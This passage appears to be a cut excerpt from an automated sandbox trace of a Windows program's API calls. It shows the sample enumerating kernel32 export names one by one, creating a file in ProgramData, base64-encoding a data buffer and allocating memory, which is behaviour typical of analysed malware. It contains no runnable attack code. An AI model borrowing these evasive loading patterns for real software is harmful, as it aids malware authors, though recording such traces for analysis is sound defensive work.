(lpString="CREATEDIRECTORYW") returned 16 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.101] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.101] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.101] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.101] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.101] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.101] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.101] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.101] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.101] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.101] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.101] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.101] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.101] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.101] lstrcpyA (in: lpString1=0x34db04, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.101] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.101] CreateFileW (lpFileName="C:\\ProgramData\\foo.db" (normalized: "c:\\programdata\\foo.db"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0055.102] lstrlenA (lpString="kernel32.dll") returned 12 [0055.102] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.102] lstrcpyA (in: lpString1=0x34db1c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.102] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.102] lstrcpyA (in: lpString1=0x34db1c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.102] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.103] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.103] lstrlenA (lpString="ADDATOMA") returned 8 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.103] lstrlenA (lpString="ADDATOMW") returned 8 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.103] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.103] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.103] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.103] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.103] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.103] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.103] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.103] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.103] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.103] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.103] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.103] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.103] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.103] lstrcpyA (in: lpString1=0x34db1c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.103] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.104] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.104] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.104] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.104] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.104] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.104] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.104] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.104] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.104] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.104] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.104] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.104] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.104] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.104] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.104] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.104] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.104] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.105] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.105] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.105] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.105] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.105] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.105] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.105] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.105] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.105] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.105] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.105] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.105] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.105] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.105] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.124] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.124] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.124] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.124] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.124] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.124] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.124] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.124] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.124] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.124] lstrcpyA (in: lpString1=0x34db1c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.124] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.124] lstrcpyA (in: lpString1=0x34db1c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.124] lstrlenA (lpString="BEEP") returned 4 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.125] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.125] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.125] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.125] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.125] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.125] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.125] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.125] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.125] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.125] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.125] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.125] lstrlenA (lpString="CANCELIO") returned 8 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.125] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.125] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.126] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.126] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.126] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.126] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.126] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.126] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.126] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.126] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.126] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.126] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.126] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.126] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.126] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.126] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.126] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.126] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.126] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.126] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.127] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.127] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.127] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.127] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.127] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.127] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.127] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.127] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.127] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.127] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.127] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.127] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.127] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.127] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.127] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.127] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.127] lstrcpyA (in: lpString1=0x34db1c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.127] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.128] lstrcpyA (in: lpString1=0x34db1c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.128] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.128] lstrcpyA (in: lpString1=0x34db1c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.129] CryptBinaryToStringA (in: pbBinary=0x34ef84, cbBinary=0x7a8, dwFlags=0x40000001, pszString=0x0, pcchString=0x34e7c4 | out: pszString=0x0, pcchString=0x34e7c4) returned 1 [0055.130] VirtualAlloc (lpAddress=0x0, dwSize=0xa39, flAllocationType=0x3000, flProtect=0x4) returned 0x2f70000 [0055.130] CryptBinaryToStringA (in: pbBinary=0x34ef84, cbBinary=0x7a8, dwFlags=0x40000001, pszString=0x2f70000, pcchString=0x34e7c4 | out: 